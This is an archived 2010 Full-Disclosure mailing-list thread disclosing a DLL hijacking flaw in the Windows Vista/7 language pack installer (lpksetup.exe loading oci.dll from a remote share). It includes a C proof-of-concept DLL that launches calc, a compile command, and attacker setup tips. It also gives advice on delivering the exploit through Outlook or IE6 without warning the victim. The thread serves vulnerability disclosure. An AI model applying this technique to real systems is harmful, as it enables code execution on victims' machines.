Date: Mon, 25 Oct 2010 22:45:35 +0000
From: TBorland1@...il.com
To: "Thor (Hammer of God)" <thor@...merofgod.com>,
	Tyler Borland <tborland1@...il.com>
Cc: Full-Disclosure mailing list <full-disclosure@...ts.grok.org.uk>,
	"bugtraq@...urityfocus.com" <bugtraq@...urityfocus.com>
Subject: Re: Windows Vista/7 lpksetup dll hijack

Also, just to further clarify, the 'completely anonymous share' means all  
connecting users get treated as anonymous and given rights to connect to  
the same rights to the share.
As Windows Vista/7 connect out using their own credentials to connect to  
the share, this is a must unless you are only targeting a specific user or  
group of users.

On Oct 25, 2010 6:39pm, TBorland1@...il.com wrote:
> The language file installer can be completely legitimate. The actual  
> exploit is the process running the library from the remote location. This  
> will execute the library/code in the context of the running application  
> under the current user and will not present a warning dialog box  
> depending on your chosen method if attack. I have made sure that this  
> does also not care if UAC allows the application to run or not.

> I have provided a link to ACROS's look into the different attack vectors  
> to give you more clues as to how this can be exploited without any  
> hassling alerts to the victim/end user. IE6 and Outlook seem to be the  
> most prevalent ways of doing this. However, there are certainly other  
> more interesting vectors out there.

> Have you tested out the actual exploit method in a lab environment yet to  
> see just what can be done as I have?

> On Oct 25, 2010 5:34pm, "Thor (Hammer of God)" thor@...merofgod.com>  
> wrote:
> >
> >
> > If you are considering this “Remote Code Execution” then why not just  
> have the victim run an .exe from the “complete anonymous share” you've  
> managed to get
> > people connected to and save all the trouble? This would still run as  
> the user context, and if the hijacked DLL tried to do something a normal  
> user couldn't do then it too would be blocked or fail anyway.
> >
> >
> > t
> >
> >
> >
> >
> > From: full-disclosure-bounces@...ts.grok.org.uk  
> [mailto:full-disclosure-bounces@...ts.grok.org.uk]
> > On Behalf Of Tyler Borland
> >
> > Sent: Monday, October 25, 2010 1:55 PM
> >
> > To: Full-Disclosure mailing list
> >
> > Cc: bugtraq@...urityfocus.com
> >
> > Subject: [Full-disclosure] Windows Vista/7 lpksetup dll hijack
> >
> >
> >
> >
> >
> > /*
> >
> > Exploit: Windows Vista/7 lpksetup.exe (oci.dll) DLL Hijacking  
> Vulnerability
> >
> > Extension: .mlc
> >
> > Author: Tyler Borland (tborland1@...il.com)
> >
> > Date: 10/20/2010
> >
> > Tested on: Windows 7 Ultimate (Windows Vista Ultimate/Enterpries and  
> Windows 7 Enterprise should be vulnerable as well)
> >
> > Effect: Remote Code Execution
> >
> >
> >
> > lpksetup is the language pack installer that is included by default  
> with Windows Vista/7 Ultimate or Enterprise editions. By opening a .mlc  
> file through something like an open SMB or WebDav share, the oci.dll file  
> will be grabbed and ran in the context of
> > the vulnerable application.
> >
> >
> >
> > This is a LoadLibrary() load path bug. The load library search order is:
> >
> > 1. The directory from which the application loaded
> >
> > 2. 32-bit System directory (Windows\System32)
> >
> > 3. 16-bit System directory (Windows\System)
> >
> > 4. Windows directory (Windows)
> >
> > 5. Current working directory
> >
> > 6. Directories in the PATH environment variable
> >
> > As OracleOciLib is not used on target system, oci.dll does not exist,  
> so if a full path is not supplied when calling the dll or the search path  
> has not been cleared before the call, we will hit our fifth search path  
> and load the library from the remote filesystem.
> >
> >
> >
> > Interestingly enough, while lpksetup is blocked for execution by UAC  
> under a normal user, the injected library (payload) will still execute.
> >
> > Exploiters make sure your system's security policy, secpol.msc, allows  
> complete anonymous share access for connecting users.
> >
> > Outlook links seem to be the current exploit toyland, other vectors:
> > http://www.binaryplanting.com/attackVectors.htm
> >
> > */
> >
> >
> >
> > #include
> >
> >
> >
> > int main()
> >
> > {
> >
> > WinExec("calc", SW_NORMAL); // the typical non-lethal PoC
> >
> > exit(0);
> >
> > return 0;
> >
> > }
> >
> >
> >
> > BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID  
> lpvReserved)
> >
> > {
> >
> > main();
> >
> > return 0;
> >
> > }
> >
> >
> >
> > /* ~/.wine/drive_c/MinGW/bin/wine gcc.exe lpksetup.c -o oci.dll */
> >
> >
> >
> >
> >
> >

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists